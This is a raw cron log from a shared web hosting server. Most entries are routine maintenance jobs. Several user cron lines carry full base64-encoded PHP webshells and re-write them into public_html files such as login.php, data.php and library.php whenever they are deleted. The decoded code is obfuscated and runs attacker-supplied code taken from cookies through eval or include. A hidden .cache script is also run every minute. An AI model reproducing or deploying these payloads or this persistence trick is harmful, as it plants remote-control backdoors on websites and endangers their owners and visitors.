Apr 19 09:39:02 medusa CROND[6400]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:39:02 medusa CROND[6401]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:39:02 medusa CROND[6402]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:40:01 medusa CROND[31030]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 09:40:01 medusa CROND[31111]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 09:40:01 medusa CROND[31112]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 09:40:01 medusa CROND[31113]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 09:40:01 medusa CROND[31114]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 09:40:01 medusa CROND[31115]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 09:40:01 medusa CROND[31116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:40:01 medusa CROND[31117]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 09:40:01 medusa CROND[31118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:40:01 medusa CROND[31124]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:40:02 medusa CROND[31123]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 09:40:02 medusa CROND[31119]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 09:40:02 medusa CROND[31128]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:40:02 medusa CROND[31125]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 09:40:02 medusa CROND[31133]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:40:02 medusa CROND[31136]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:40:02 medusa CROND[31137]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:40:02 medusa CROND[31139]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:40:02 medusa CROND[31134]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 09:40:02 medusa CROND[31142]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 09:40:02 medusa CROND[31135]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 09:40:02 medusa CROND[31148]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:40:02 medusa CROND[31144]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 09:40:02 medusa CROND[31141]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:40:02 medusa CROND[31159]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:40:02 medusa CROND[31165]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:40:02 medusa CROND[31169]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 09:40:02 medusa CROND[31171]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 09:41:01 medusa CROND[23336]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:41:01 medusa CROND[23337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:41:01 medusa CROND[23338]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:41:01 medusa CROND[23340]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 09:41:01 medusa CROND[23341]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:41:01 medusa CROND[23342]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:41:01 medusa CROND[23343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:41:01 medusa CROND[23346]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 09:41:01 medusa CROND[23357]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:41:01 medusa CROND[23356]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 09:41:01 medusa CROND[23358]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:41:01 medusa CROND[23359]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:41:01 medusa CROND[23360]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
